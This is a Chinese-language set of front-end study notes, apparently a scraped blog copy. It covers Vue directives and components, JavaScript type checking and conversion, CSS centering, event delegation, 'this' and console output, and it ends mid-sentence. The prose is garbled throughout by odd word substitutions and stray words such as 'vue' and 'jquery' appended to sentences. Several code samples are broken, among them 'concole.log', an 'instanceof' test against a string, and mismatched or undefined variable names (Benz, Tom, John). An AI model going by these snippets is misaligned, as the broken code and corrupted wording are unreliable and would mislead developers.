更多总结 猛戳这里
属性与方法
不要在实例属性或者回调函数中（例如,vm.$watch('a', newVal => this.myMethod())使用箭头函数。由于箭头函数会绑定父级上下文，因此 this 不会按照预期指向 Vue 实例，而后 this.myMethod 将是未定义。css
语法
v- 指令是带有v-的特殊属性
- v-if 条件渲染
- v-show
- v-else (必须在v-if/v-else-if/v-show指令后)
- v-else-if (v-if/v-else-if后)
- v-for (遍历)
- v-html (绑定HTML属性中的值)
- v-bind (响应更新HTML特性，绑定自定义属性，如绑定某个class元素或style)
- v-on (监听指定元素的dom事件)
- v-model (内置的双向数据绑定，用在表单控件，绑定的value一般是静态字符串)
- v-cloak 关于vuejs页面闪烁{{message}}
- v-once 只渲染元素和组件一次，随后的从新渲染,元素/组件及其全部的子节点将被视为静态内容并跳过
<p v-if="seen">超然haha</p> <p v-else></p> <div v-show="isSeen">超然haha</div> <div v-else></div> <ul v-bind:class="{'class1': class1}"> <li v-for="item in items">{{ item }}</li> </ul> <button v-on:click="handleClick">click</button> <div> <p>{{ message }}</p> <input v-model="message"> </div> <!-- v-for --> <!-- 能够经过一个对象的属性来迭代数据 --> <li v-for="value in object"> {{ value }} </li> <!-- 也能够提供第二个的参数为键名 --> <li v-for="(value, key) in object"> {{ key }} : {{ value }} </li> <!-- 第三个参数为索引 --> <li v-for="(value, key, index) in object"> {{ index }}. {{ key }} : {{ value }} </li> <!-- 也能够循环整数 --> <li v-for="n in 10"> {{ n }} </li> <!-- v-cloak --> <!-- 和CSS规则如[v-cloak]{display:none}一块儿用时，这个指令能够隐藏未编译的Mustache标签直到实例准备完毕 --> [v-cloak]{ display:none; } <div v-cloak>{{message}}</div> <!-- v-once --> <!-- 组件 --> <my-component v-once :comment="msg"></my-component>
表达式——提供了JavaScript表达式支持
参数——指令后以冒号声明
<a v-bind:href="url">超然haha</a>
过滤器
<div id="app">
{{ message | capitalize }}
</div>
<script>
new Vue({
el: '#app',
data: {
message: 'runoob'
},
filters: {
capitalize: function (value) {
if (!value) return ''
value = value.toString()
return value.charAt(0).toUpperCase() + value.slice(1)
}
}
})
</script>
缩写
- v-bind
- v-on
<!-- 完整语法 --> <a v-bind:href="url"></a> <!-- 缩写 --> <a :href="url"></a> <!-- 完整语法 --> <a v-on:click="doSomething"></a> <!-- 缩写 --> <a @click="doSomething"></a>
计算属性
computed 属性默认只有 getter ，不过在须要时你也能够提供一个 setter
var vm = new Vue({
el: '#app',
data: {
name: 'Google',
url: 'http://www.google.com'
},
computed: {
site: {
// getter
get: function () {
return this.name + ' ' + this.url
},
// setter
set: function (newValue) {
var names = newValue.split(' ')
this.name = names[0]
this.url = names[names.length - 1]
}
}
}
})
// 调用 setter， vm.name 和 vm.url 也会被对应更新
vm.site = '菜鸟教程 http://www.runoob.com';
document.write('name: ' + vm.name);
document.write('<br>');
document.write('url: ' + vm.url);
特殊属性
key 主要用在 Vue的虚拟DOM算法，在新旧nodes对比时辨识VNodes
<li v-for="item in items" :key="item.id">...</li>
ref 给元素或子组件注册引用信息。引用信息将会注册在父组件的 $refs 对象上
<!-- vm.$refs.p will be the DOM node --> <p ref="p">hello</p> <!-- vm.$refs.child will be the child comp instance --> <child-comp ref="child"></child-comp>
is 用于动态组件,决定哪一个组件被渲染
<!-- 动态组件由 vm 实例的属性值 `componentId` 控制 --> <component :is="componentId"></component> <!-- 也可以渲染注册过的组件或 prop 传入的组件 --> <component :is="$options.components.child"></component>
keep-alive 缓存不活动的组件实例，而不是销毁它们,保留组件状态避免从新渲染
<!-- 基本 --> <keep-alive> <component :is="view"></component> </keep-alive>
include && exclude 容许组件有条件的缓存
vue 样式绑定
class属性
- v-bind:class
<div v-bind:class="{ active: isActive }"></div> - v-bind:class 数组绑定
<div v-bind:class="[activeClass, errorClass]"></div>
style(内联样式)
- v-bind:style
<div v-bind:style="{ color: activeColor, fontSize: fontSize + 'px' }">超然haha</div> - v-bind:style (将多个样式绑定到一个元素)
<div v-bind:style="[baseStyles, overridingStyles]">超然haha</div>
当 v-bind:style 使用须要特定前缀的 CSS 属性时，如 transform ，Vue.js 会自动侦测并添加相应的前缀。
vue事件处理器
v-on
- 接收方法
<button v-on:click="greet">Greet</button>
- 内联js语句
<button v-on:click="say('hi')">Say hi</button> - 事件修饰符
- .stop 阻止单击事件冒泡
- .prevent 再也不重载页面
- .capture 使用事件捕获模式
- .self 只当事件在该元素自己（不是子元素）触发时触发
- .once 事件只会触发一次
- 键值修饰符
- .enter
- .tab
- .delete (捕获 “删除” 和 “退格” 键)
- .esc
- .space
- .up
- .down
- .left
- .right
- .ctrl
- .alt
- .shift
- .meta
- 鼠标按键修饰符
- .left
- .right
- .middle
表单控件绑定
基础用法
- 文本
- 复选框
- 单选按钮
- 选择列表
<!-- 文本 --> <input v-model="message" placeholder="edit me"> <p>Message is: {{ message }}</p> <!-- 复选框 --> <input type="checkbox" id="checkbox" v-model="checked"> <label for="checkbox">{{ checked }}</label> <!-- 单选按钮 --> <div id="example-4"> <input type="radio" id="one" value="One" v-model="picked"> <label for="one">One</label> <br> <input type="radio" id="two" value="Two" v-model="picked"> <label for="two">Two</label> <br> <span>Picked: {{ picked }}</span> </div> <!-- 选择列表 --> <div id="example-5"> <select v-model="selected"> <option disabled value="">请选择</option> <option>A</option> <option>B</option> <option>C</option> </select> <span>Selected: {{ selected }}</span> </div>
修饰符
- .lazy 从输入转变为在 change 事件中同步
- .number 自动将用户的输入值转为 Number 类型
- .trim 自动过滤用户输入的首尾空格
父子组件通讯
props （父–>子）
Vue.component('child', {
// 声明 props
props: ['message'],
// 就像 data 同样，prop 能够用在模板内
// 一样也能够在 vm 实例中像“this.message”这样使用
template: '<span>{{ message }}</span>'
})
<child message="hello!"></child>
on/emit (子–>父)
父组件能够在使用子组件的地方直接用 v-on 来监听子组件触发的事件
不能用 $on 侦听子组件抛出的事件，而必须在模板里直接用 v-on 绑定html
<button-counter v-on:increment="incrementTotal"></button-counter>
Vue.component('button-counter', {
template: '<button v-on:click="incrementCounter">{{ counter }}</button>',
data: function () {
return {
counter: 0
}
},
methods: {
incrementCounter: function () {
this.counter += 1
this.$emit('increment')
}
},
})
子组件索引
- JavaScript 中直接访问子组件。为此能够使用 ref 为子组件指定一个索引 ID*
<div id="parent"> <user-profile ref="profile"></user-profile> </div>
var parent = new Vue({ el: '#parent' })
// 访问子组件
var child = parent.$refs.profile
过渡效果
插入、更新或者移除 DOM 时前端
单元素组件的过分
- v-if
- v-show
- 动态组件
- 组件根节点
-
<div id="demo"> <button v-on:click="show = !show"> Toggle </button> <transition name="fade"> <p v-if="show">hello</p> </transition> </div>
new Vue({ el: '#demo', data: { show: true } }) .fade-enter-active, .fade-leave-active { transition: opacity .5s } .fade-enter, .fade-leave-to /* .fade-leave-active in below version 2.1.8 */ { opacity: 0 }
删除或插入包含在transition组件中的元素时，处理过程：
1. 自动嗅探目标元素是否应用了 CSS 过渡或动画，若是是，在恰当的时机添加/删除 CSS 类名。
2. 若是过渡组件提供了 JavaScript 钩子函数，这些钩子函数将在恰当的时机被调用。
3. 若是没有找到 JavaScript 钩子而且也没有检测到 CSS 过渡/动画，DOM 操做（插入/删除）在下一帧中当即执行。(注意：此指浏览器逐帧动画机制，和Vue的 nextTick 概念不一样)vue
过渡的css类名
- v-enter 过渡开始状态
- v-enter-active 过渡状态
- v-enter-to 过渡的结束状态（插入后）
- v-leave 离开过渡开始状态
- v-leave-active 过渡状态
- v-leave-to 离开过渡结束状态
v- 是这些类名的前缀。使用 能够重置前缀，好比 v-enter 替换为 my-transition-enter。html5
<div id="example-3">
<button @click="show = !show">
Toggle render
</button>
<transition
name="custom-classes-transition"
enter-active-class="animated tada"
leave-active-class="animated bounceOutRight"
>
<p v-if="show">hello</p>
</transition>
</div>
vue经验总结
click
- 普通元素： @click
- 组件元素： @click.native
slot
- 非必要元素
- 可自定义
router-link
- tag 指定渲染标签类型
- active-class 激活时样式n
javascript 经验总结
fetch
asyn 函数
js数据类型
1、js数据类型
string、number、Boolean、Array、object、Null、Undefinednode
1. js拥有动态类型
相同的变量能够用做不一样的类型react
var x // x 为 undefined var x = 6; // x 为数字 var x = "Bill"; // x 为字符串
2. 数据类型
- string
存储字符，可用单引号或双引号 - number
可带小数点或不带（支持科学记数法） - Boolean
true 或 false - array
//先建立再赋值 var cars=new Array(); cars[0]="Audi"; cars[1]="BMW"; cars[2]="Volvo"; //建立的同时赋值 var cars=new Array("Audi","BMW","Volvo"); //直接赋值 var cars=["Audi","BMW","Volvo"];
- object
由花括号分隔，括号内部，对象的属性以名称和键值对的形式定义，属性用逗号分隔
var person={ firstname : "Bill", lastname : "Gates", id : 5566 };//两种寻址方式 name=person.lastname; name=person["lastname"];
- undefined
当声明的变量还未被初始化时，变量的默认值为undefined
// 典型用法 var i; i // 变量被声明了，但没有赋值 function f(x){console.log(x)} f() //调用函数时，应该提供的参数没有提供，该参数等undefined var o = new Object(); o.p // 对象没有赋值的属性，该属性的值为undefined var x = f(); x // 函数没有返回值时，默认返回undefined
- null
还没有存在的对象
// 典型用法 （1） 做为函数的参数，表示该函数的参数不是对象。 （2） 做为对象原型链的终点。
undefined 与 nulljquery
null便是一个不存在的对象的占位符
ECMAScript认为undefined是从null派生出来的，因此把它们定义为相等的。
区分：
concole.log(null === undefined); // false concole.log(typeof null == typeof undefined); // false
2、 js数据类型转换
1. 转换函数
- 转换成字符串（tostring）
// number var iNum = 10; alert(iNum.toString()); //输出 "10" //Boolean var bool = false; alert(bool .toString()); //输出 "false" //基模式 var iNum = 10; alert(iNum.toString(2)); //输出 "1010" alert(iNum.toString(8)); //输出 "12" alert(iNum.toString(16)); //输出 "A"
- 转换成数字
parseInt() parseFloat()
/*parseInt() 方法首先查看位置 0 处的字符，判断它是不是个有效数字；若是不是，该方法将返回 NaN，再也不继续执行其余操做。*/ /*但若是该字符是有效数字，该方法将查看位置 1 处的字符，进行一样的测试。这一过程将持续到发现非有效数字的字符为止，此时 parseInt() 将把该字符以前的字符串转换成数字。*/ var iNum1 = parseInt("12345red"); //返回 12345 var iNum1 = parseInt("0xA"); //返回 10 var iNum1 = parseInt("56.9"); //返回 56 小数点是无效字符 var iNum1 = parseInt("red"); //返回 NaN // parseFloat() 方法与 parseInt() 方法的处理方式类似 // 但第一个出现的小数点是有效字符 var fNum4 = parseFloat("11.22.33"); //返回 11.22
2. 强制类型转换
ECMAScript 中可用的 3 种强制类型转换：Boolean、Number、String
- Boolean(value)
// 当要转换的值是至少有一个字符的字符串、非 0 数字或对象时，Boolean() 函数将返回 true // 若是该值是空字符串、数字 0、undefined 或 null，它将返回 false var b1 = Boolean(""); //false - 空字符串 var b2 = Boolean("hello"); //true - 非空字符串 - Number(value)
// Number() 函数的强制类型转换与 parseInt() 和 parseFloat() 方法的处理方式类似，只是它转换的是整个值，而不是部分值。 var iNum1 = parseInt("56.9"); //返回 56 var fNum2 = parseFloat("11.22.33"); //返回 11.22 var iNum3 = Number("56.9"); //返回 56.9 var fNum2 = Number("11.22.33"); //返回 NaN - String(value)
可把任何值转换成字符串
3、js数据类型判断
1. typeOf
| 类型 | 结构 |
|---|---|
| Undefined | "undefined" |
| Null | "object" (见下方) |
| 布尔值 | "boolean" |
| 数值 | "number" |
| 字符串 | "string" |
| Symbol (ECMAScript 6 新增) | "symbol" |
| 宿主对象(JS环境提供的，好比浏览器) | Implementation-dependent |
| 函数对象 (implements [[Call]] in ECMA-262 terms) | "function" |
| 任何其余对象 | "object" |
2. instanceof （判断已知对象类型）
var a = [],
b = new Date(),
d = {},
e = null;
function c(name){
this.name = name;
}
alert(b instanceof Date) ----------------> true
alert(c instanceof Function) -------------> true
alert(c instanceof function) -------------> false
console.log(a instanceof Array) ----------> true
console.log(a instanceof Object)----------> true
console.log(c instanceof Array)-----------> false
console.log(e instanceof Object)----------> false
console.log(1 instanceof Number)----------> false
// 注意：instanceof 后面必定要是对象类型，而且大小写不能错，该方法适合一些条件选择或分支。
- 由于数组自己也是一个对象
- 正常对象用instanceof 能够和数组区分
- null 虽然是个特殊的对象，但并不继承自object
3. 结合 typeof 与 instanceof
function type(item) {
if (arguments.length != 1) {
throw new Error('must give one argument!')
}
var itemTp = typeof(item)
// if null
if (!item) {
return itemTp === 'undefined' ? 'undefined' : 'null'
}
return itemTp !== 'object' ? itemTp : (item instanceof Array) ? 'array' : (item instanceof 'object')
}
4. constructor（根据对象的constructor判断）
W3C定义：constructor 属性返回对建立此对象的数组函数的引用（返回对象对应的构造函数）
constructor原本是原型对象上的属性，指向构造函数。可是根据实例对象寻找属性的顺序，若实例对象上没有实例属性或方法时，就去原型链上寻找，所以，实例对象也是能使用constructor属性的
var a = new Array();
console.log(a instanceof Array) // a是否Array的实例 true
console.log(a.constructor == Array) // a实例所对应的构造函数是否为Array true
//example
function Dog(name){
this.name=name;
}
var Dollar=new Dog("Dollar");
console.log(Dollar.constructor); //输出function Dog(name){this.name=name;}
function Dog(){
}
var Tim = new Dog();
console.log(Tom.constructor === Dog);//true
// constructor属性是能够被修改的，会致使检测出的结果不正确
function Dog(){
}
function Cat(){
}
Cat.prototype = new Dog();
var m= new Cat();
console.log(m.constructor==Cat); // false
console.log(John.constructor==Person); // true
// instanceof 对于直接或间接引用都是true
console.log(m instanceof Cat); // true
console.log(John instanceof Person); // true
5. Object.prototype.toString.call
function a() { };
var toString = Object.prototype.toString;
console.log(toString.call(new Date) === '[object Date]'); //true
console.log(toString.call(new String) ==='[object String]');//true
console.log(toString.call(a) ==='[object Function]'); //true
6. $.type()（万能判断）
jQuery.type( undefined ) === "undefined" // true jQuery.type() === "undefined" // true jQuery.type( null ) === "null" // true jQuery.type( true ) === "boolean" // true
7. 判断是否为数组
数组不是基础类型
typeof [] === 'object' // true
要判断一个变量是否为数组，须要用 Array.isArray( var )
若有建议或补充，欢迎留言交流~
参考：
http://www.jb51.net/article/73566.htm
前端学习
1、html5 && css3
- html5新增元素和标签结构
- html5新增特性API
- css3新特性/动画
- CSS 基础样式、规范总结
- CSS reset
- CSS技术交流
- bootstrap框架熟悉
- html5移动Web开发，跨屏、Retina适配等等
- Web Components标准（Web组件最初的目的是使开发人员拥有扩展浏览器标签的能力，能够自由的进行定制组件）
- 兼容性查询
- 设计感的培养
https://webgradients.com/ （色彩）
http://www.userinterface.com.cn/ （设计网站导航）
http://www.shejidaren.com/category/design-tools （设计网站&工具汇总）
2、javascript
1. ES6（ECMAScript 6）
① ECMAScript是JavaScript语言的国际标准，JavaScript是ECMAScript的实现。编程语言JavaScript是ECMAScript的实现和扩展，由ECMA（一个相似W3C的标准组织）参与进行标准化。
ECMAScript与JavaScript的关系
ECMAScript 是一种开放的、国际上广为接受的脚本语言规范。 它自己并非一种脚本语言。正如在 Web 应用程序中执行有用操做的 bean 集合（例如，Netscape 的 AWT）是 Sun 的 JavaBean 规范的一种实现同样，JavaScript 是 ECMAScript 规范的一种实现。
JScript和JavaScript
JavaScript： Netscape公司
Jscript： Microsoft公司
Jscript是微软版的JavaScript，与JavaScript基本一致.
若是你这样写：<script> </script>
不声明脚本版本的话，在IE里默认用Jscript，在Netscape里默认用JavaScript
脚本语言自己和浏览器版本无关，JavaScript就是JavaScript，永远是Netscape公司的JavaScript，永远首先默认支持 NS；JScript永远就是MS的JScript，IE永远默认首先支持JScript，其实只是MS和NS之间的积怨罢了，于咱们这些使用者本无区别......
② ECMAScript 6（如下简称ES6）是JavaScript语言的下一代标准
2. React
ReactJS是基于组件化的开发
在Web开发中，咱们总须要将变化的数据实时反应到UI上
React是Facebook开源的JavaScript库，用于构建UI
- React不是一个完整的MVC框架，最多能够认为是MVC中的V（View），甚至React并不很是承认MVC开发模式；
- React的服务器端Render能力只能算是一个锦上添花的功能，并非其核心出发点，事实上React官方站点几乎没有说起其在服务器端的应用；
- 有人拿React和Web Component相提并论，但二者并非彻底的竞争关系，你彻底能够用React去开发一个真正的Web Component；
- React不是一个新的模板语言，JSX只是一个表象，没有JSX的React也能工做。
Virtual DOM
Virtual DOM并无彻底实现DOM，Virtual DOM最主要的仍是保留了Element之间的层次关系和一些基本属性。
基于React进行开发时全部的DOM构造都是经过虚拟DOM进行，每当数据变化时，React都会从新构建整个DOM树，而后React将当前整个DOM树和上一次的DOM树进行对比，获得DOM结构的区别，而后仅仅将须要变化的部分进行实际的浏览器DOM更新。并且React可以批处理虚拟DOM的刷新，在一个事件循环（Event Loop）内的两次数据变化会被合并，例如你连续的先将节点内容从A变成B，而后又从B变成A，React会认为UI不发生任何变化。尽管每一次都须要构造完整的虚拟DOM树，可是由于虚拟DOM是内存数据，性能是极高的，而对实际DOM进行操做的仅仅是Diff部分，于是能达到提升性能的目的。这样，在保证性能的同时，开发者将再也不须要关注某个数据的变化如何更新到一个或多个具体的DOM元素，而只须要关心在任意一个数据状态下，整个界面是如何Render的。
React.render 是 React 的最基本方法，用于将模板转为 HTML 语言，并插入指定的 DOM 节点。
这里须要注意的是，react并不依赖jQuery，固然咱们能够使用jQuery，可是render里面第二个参数必须使用JavaScript原生的getElementByID方法，不能使用jQuery来选取DOM节点。
全部html结构，均可以用js dom来构造，并且能将构造的步骤封装起来，作到「数据-dom结构」的映射。
将普通的DOM以数据结构的形式展示出来
自我认知：
react主要用于构建UI，可用react来构建component，开发时全部的dom构造都基于virtual dom，所谓virtual dom 指的是由js dom 并且可以封装起来造成【数据-dom】结构的映射，具体来讲就是一个数据结构，利用react的render将构造好的数据结构插入界面，构造的过程就是根据所提供的数据与要求，设置数据结构中的参数，要怎么作就作成什么。将界面与业务隔离，将重心转移到业务。
2. Angular2/前端MVC、MVVM之类的设计模式
AngularJS
http://www.cnblogs.com/xing901022/p/4280299.html
AngularJS：
AngularJs相对于其余的框架来讲，有一下的特性：
- MVVM
- 模块化
- 自动化双向数据绑定
- 语义化标签
- 依赖注入
包括的主要有
1 angularjs模板
视图和模板
2 迭代器过滤
控制器
3 双向绑定
输入框的任何更改会当即反映到模型变量（一个方向），模型变量的任何更改都会当即反映到问候语文本中（另外一方向）。
AngularJS是为了克服HTML在构建应用上的不足而设计的。HTML是一门很好的为静态文本展现设计的声明式语言，但要构建WEB应用的话它就显得乏力了。
AngularJS应用的解析
AngularJS应用程序的三个组成部分，及它们如何映射到模型-视图-控制器设计模式：
- 模板（Templates）
模板是您用HTML和CSS编写的文件，展示应用的视图。 您可给HTML添加新的元素、属性标记，做为AngularJS编译器的指令。 AngularJS编译器是彻底可扩展的，这意味着经过AngularJS您能够在HTML中构建您本身的HTML标记！
- 应用程序逻辑（Logic）和行为（Behavior）
应用程序逻辑和行为是您用JavaScript定义的控制器。AngularJS与标准AJAX应用程序不一样，您不须要另外编写侦听器或DOM控制器，由于它们已经内置到AngularJS中了。这些功能使您的应用程序逻辑很容易编写、测试、维护和理解。
- 模型数据（Data）
模型是从AngularJS做用域对象的属性引伸的。模型中的数据多是Javascript对象、数组或基本类型，这都不重要，重要的是，他们都属于AngularJS做用域对象。
AngularJS经过做用域来保持数据模型与视图界面UI的双向同步。一旦模型状态发生改变，AngularJS会当即刷新反映在视图界面中，反之亦然。
此外，AngularJS还提供了一些很是有用的服务特性：
- 底层服务包括依赖注入，XHR、缓存、URL路由和浏览器抽象服务。
- 您还能够扩展和添加本身特定的应用服务。
- 这些服务可让您很是方便的编写WEB应用。
若是应用时常要处理大量的动态数据集，并以相对简便和高性能的方式对大型数据表进行显示和变动，React是至关不错的选择。可是React不像AngularJS那样包含完整的功能，举例来讲，React没有负责数据展示的控制器
虽然Angular的数据的表达可以很是紧凑, 可是渲染大型数据集依旧被证实是一个痛点. 因为双向数据绑定须要监听每个可变元素, 数据量变大就会带来显著的性能问题. React, 在另外一方面, 使用虚拟DOM来跟踪元素的变化. 当检测到变化时, React会构建一个针对DOM变化的补丁, 而后应用这些补丁. 因为没必要在每一个元素每次变化时从新渲染整个巨大的table, React相对于其余JavaScript框架有显著的性能提高.
性能
虽然Angular的数据的表达可以很是紧凑, 可是渲染大型数据集依旧被证实是一个痛点. 因为双向数据绑定须要监听每个可变元素, 数据量变大就会带来显著的性能问题. React, 在另外一方面, 使用虚拟DOM来跟踪元素的变化. 当检测到变化时, React会构建一个针对DOM变化的补丁, 而后应用这些补丁. 因为没必要在每一个元素每次变化时从新渲染整个巨大的table, React相对于其余JavaScript框架有显著的性能提高.
3. Node.js
熟悉，学习Node的运行方式以及主流框架的设计模式，有助于深刻理解Javascript
4. 了解MongoDB文档数据库
5. Node.js异步编程的流程控制
有助于深刻理解Javascript异步编程
3、 前端工程化
1.gulp/webpack等前端工具
2.前端模块化、组件化、可测试化、性能优化、可伸缩性（scalable）
3.前端自动化测试，（如PhantomJS之类的工具）
4、前瞻
1.ES7（ECMAScript 7）
2.html5新特性 webGL openGL
3.React/Web Components
5、学习资源
1.《Javascript高级程序设计》
2.《高性能Javascript》
3.《深刻浅出Node.js》
4.Google/Stack Overflow/Github
5.关注国内前端牛人的博客或者Github动态
6.Mozilla开发者网站，Web标准、Api等等文档比较详细和权威 https://developer.mozilla.org/zh-CN/
7.慕课网，有不少质量不错的前端课程
8.前端技术发展迭代很是快，须要及时关注新动向
9.选择一个热门的前端开源项目，深刻研究其用法和源代码，学习其设计思想，逐步提高本身的前端架构设计能力
10.关注大型技术会议的技术分享，关注大公司的技术团队
11.优秀总结
6、学习顺序
1.html5新元素、标签、标准、经常使用的新特性Api
2.css3的使用
3.bootstrap，移动Web、跨浏览器开发
4.react
5.Node.js
持续更新······
若有其余资源或建议，欢迎留言交流~
CSS 居中
1、水平或垂直居中
1. 单行内容垂直居中
/*height = line-height*/
.center{
height: 4em;
line-height: 4em;
overflow: hidden; /*保护布局，非必须*/
}
支持：全部块级、内联元素、全部浏览器
缺点：只能显示一行
2. div水平居中
<!--html代码--> <div class="center">div居中了</div>
body{ text-align:center}
.center{
margin:0 auto; /*main*/
width:400px;
height:100px;
border:1px solid #F00
}
3. float
给父元素设置float，而后父元素设置position:relative和left:50%,子元素设置position:relative和left:-50%来实现
2、水平+垂直居中
1. 非固定高度居中
.middle{
position:absolute;
top:10px;
bottom:10px;
}
支持：全部块级、内联元素、全部浏览器
缺点：容器不能固定高度
2. 利用表格
.middle{
display: table-cell;
height: 300px;
vertical-align: middle;
}
缺点：IE无效
3. margin负值
.middle {
width: 400px;
height: 200px;
position: absolute;
top: 50%; left: 50%;
margin-left: -200px; /* width/2 */
margin-top: -100px; /* height/2 */
}
支持：ie各个版本
缺点：非响应式，宽高固定，须要为padding预留空间或用box-sizing:border-box
4. 彻底居中
<!DOCTYPE html>
<html>
<head>
<title>text-align</title>
<style type="text/css" media="screen">
body {
text-align: center
}
.middle {
background: red;
bottom: 0;
height: 100px;
left: 0;
margin: auto;
position: absolute;
top: 0;
right: 0;
width: 100px;
}
</style>
</head>
<body>
<div class="middle">center</div>
</body>
</html>
5. fixed（可视区域内居中）
.middle {
position: fixed;
z-index: 999; /*设置较大的z-index居于其余元素上方 最好在外层容器设置position:relative */
}
6. transform
.middle {
width: 50%;
margin: auto;
position: absolute;
top: 50%; left: 50%;
-webkit-transform: translate(-50%,-50%);
-ms-transform: translate(-50%,-50%);
transform: translate(-50%,-50%);
}
缺点： 不支持IE8
7. inline-block
.middle{
display: inline-block;
vertical-align: middle;
text-align: center;
}
8. Flex方法
<div class="container">
<!--容器内的元素将会居中-->
<img src="a.jpg">
</div>
.container{
display: flex;
justify-content: center;
align-items: center;
}
/*考虑兼容性 */
.container {
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-align: center;
-moz-box-align: center;
-ms-flex-align: center;
-webkit-align-items: center;
align-items: center;
-webkit-box-pack: center;
-moz-box-pack: center;
-ms-flex-pack: center;
-webkit-justify-content: center;
justify-content: center;
}
1.设置container的display的类型为flex，激活为flexbox模式。
2.justify-content定义水平方向的元素位置
3.align-items定义垂直方向的元素位置
支持：任意宽高
不支持IE8-9
3、图片居中
1. align
<div align="center"><img src="a.jpg" /></div>
2. text-align
<div style="text-align:center"><img src="a.jpg" /></div>
4、对照表
| 所用样式 |
支持的浏览器 |
是否 响应式 |
内容溢出后的样式 |
resize:both |
高度可变 |
主要缺陷 |
| Absolute |
现代浏览器&IE8+ |
是 |
会致使容器溢出 |
是 |
是* |
‘可变高度’的特性不能跨浏览器 |
| 负margin值 |
全部 |
否 |
带滚动条 |
大小改变后再也不居中 |
否 |
不具备响应式特性，margin值必须通过手工计算 |
| Transform |
现代浏览器&IE9+ |
是 |
会致使容器溢出 |
是 |
是 |
妨碍渲染 |
| Table-Cell |
现代浏览器&IE8+ |
是 |
撑开容器 |
否 |
是 |
会加上多余的标记 |
| Inline-Block |
现代浏览器&IE8+&IE7* |
是 |
撑开容器 |
否 |
是 |
须要使用容器包裹和hack式的样式 |
| Flexbox |
现代浏览器&IE10+ |
是 |
会致使容器溢出 |
是 |
是 |
须要使用容器包裹和厂商前缀（vendor prefix） |
持续更新······
若有建议或其余实现方法，欢迎留言交流~
事件委托和this
1、事件
事件阶段
通常的，事件分为三个阶段：捕获阶段、目标阶段和冒泡阶段。
（1）捕获阶段（Capture Phase）
事件的第一个阶段是捕获阶段。事件从文档的根节点流向目标对象节点。途中通过各个层次的DOM节点，并在各节点上触发捕获事件，直到到达事件的目标节点。捕获阶段的主要任务是创建传播路径，在冒泡阶段，事件会经过这个路径回溯到文档跟节点。
或这样描述：
任何事件产生时，如点击一个按钮，将从最顶端的容器开始（通常是html的根节点）。浏览器会向下遍历DOM树直到找到触发事件的元素，一旦浏览器找到该元素，事件流就进入事件目标阶段
（2）目标阶段（Target Phase）
当事件到达目标节点的，事件就进入了目标阶段。事件在目标节点上被触发，而后会逆向回流，直到传播至最外层的文档节点。
（3）冒泡阶段（Bubble Phase）
事件在目标元素上触发后，并不在这个元素上终止。它会随着DOM树一层层向上冒泡，回溯到根节点。
冒泡过程很是有用。它将咱们从对特定元素的事件监听中释放出来，若是没有事件冒泡，咱们须要监听不少不一样的元素来确保捕获到想要的事件。
事件委托
事件委托是一种由其它元素而非事件目标元素来响应事件产生的行为的思想。
通俗的讲，事件就是onclick，onmouseover，onmouseout，等就是事件，委托呢，就是让别人来作，这个事件原本是加在某些元素上的，然而你却加到别人身上来作，完成这个事件。
也就是：利用冒泡的原理，把事件加到父级上，触发执行效果。
好处呢：1.提升性能； 2. 易于维护；
好比用document元素来处理按钮的点击行为，用ul元素来处理其子元素li的事件。
有多种方法来处理事件委托。标准方法来源于原生浏览器的功能。浏览器以一种特定的工做流程来处理事件，并支持事件捕获和事件冒泡。W3C关于浏览器怎么支持事件的文档：W3C DOM Level 3 Events。一些JS库和框架公开了其它方式，如发布/订阅模型（将在后文说起）。
事件冒泡
（1）为何要阻止事件冒泡
有种多是，某个DOM节点绑定了某事件监听器，原本是想当该DOM节点触发事件，才会执行回调函数。结果是该节点的某后代节点触发某事件，因为事件冒泡，该DOM节点事件也会触发，执行了回调函数，这样就违背了最初的本意了。
（2）如何阻止事件冒泡
- stopPropagation：告诉DOM事件中止冒泡
- stopImmediatePropagation，它不只中止冒泡，也会阻止这个元素上其它监听当前事件的处理程序触发。然而,中止传播事件时要当心,由于你不知道是否有其它上层的DOM元素可能须要知道当前事件。
- preventDefault，这个方法会阻止浏览器处理事件的默认行为。一个常见示例就是连接，使用连接执行UI操做是一种常见的作法。然而，当咱们不但愿连接跟普通被激活的连接同样会在新标签页打开一个新页面，就能够使用preventDefault方法来阻止这个默认行为。
订阅发布模式
还有其它实现事件委托的方法能够考虑，其中值得一提的就是发布/订阅模型。发布/订阅模型也称为了广播模型，牵涉到两个参与者。一般，两个参与者在DOM中并无紧密的联系，并且多是来自兄弟的容器。能够给它们共同的祖先元素设置监听处理程序，可是若是共同的祖先元素在DOM树中处于较高层次（离根节点比较近），就会监听不少同辈元素的事件，会形成意想不到的结果；固然，也可能存在逻辑或结构缘由要分开这两个元素。
发布/订阅模型也能自定义事件。发布/订阅模型从一个元素发送消息后并向上遍历，有时也向下遍历，DOM会通知遍历路径上的全部元素事件发生了。在下面的示例中，JQuery经过trigger方法传递事件。
2、this
this 关键字在JavaScript中的一种经常使用方法是指代码当前上下文。
- 若是this没有被设置，则默认指向全局对象，其一般是window
- 若是一个函数中运行了一个内联函数，好比一个事件监听器，则this指向内联函数的源代码。例如,当设置一个按钮的单击处理程序,this将引用匿名函数内的按钮。
- 若是函数是一个对象的构造函数，this指向新对象。
- 若是函数被定义在一个对象上,而后调用对象时,this指向该对象。
- 在异步编程中，this能够很容易改变过程当中一个功能操做。保持处理程序上下文的一个小技巧是将其设置到闭包内的一个变量，当在上下文改变的地方调用一个函数时，如setTimeout，你仍然能够经过该变量引用须要的对象。
例子
（1）若是该函数是被当作某一个对象的方法，那么该函数的this指向该对象；
var car= {
modelNum: "Benz"
}
function f() {
alert(this.modelNum+ ":hello world")
}//this就是car这个对象
Benz.sayHi = f
Benz.sayHi() ;
（2）函数以内调用
当函数中有 this，其实就意味着它被当作方法调用，之间调用至关于把他当作window对象的方法，this指向window.
function func() {
alert(this) // this指向window
}
func()
总之，若是this没有被设置，则默认指向全局对象，其一般是window
操做this的另外一种方式是经过call、apply和bind。三种方法都被用于调用一个函数，并能指定this的上下文，你可让代码使用你规定的对象，而不是依靠浏览器去计算出this指向什么。
参考：
让js调试更简单—console
1、显示信息的命令
- console.log 用于输出普通讯息
- console.info 用于输出提示性信息
- console.error用于输出错误信息
- console.warn用于输出警示信息
最经常使用的就是console.log了。
2、占位符
console上述的集中度支持printf的占位符格式，支持的占位符有：字符（%s）、整数（%d或%i）、浮点数（%f）和对象（%o）:
<script type="text/javascript">
console.log("%d年%d月%d日",2011,3,26);
</script>
%o、%O都是用来输出Object对象的，对普通的Object对象，二者没区别，可是打印dom节点时就不同了：
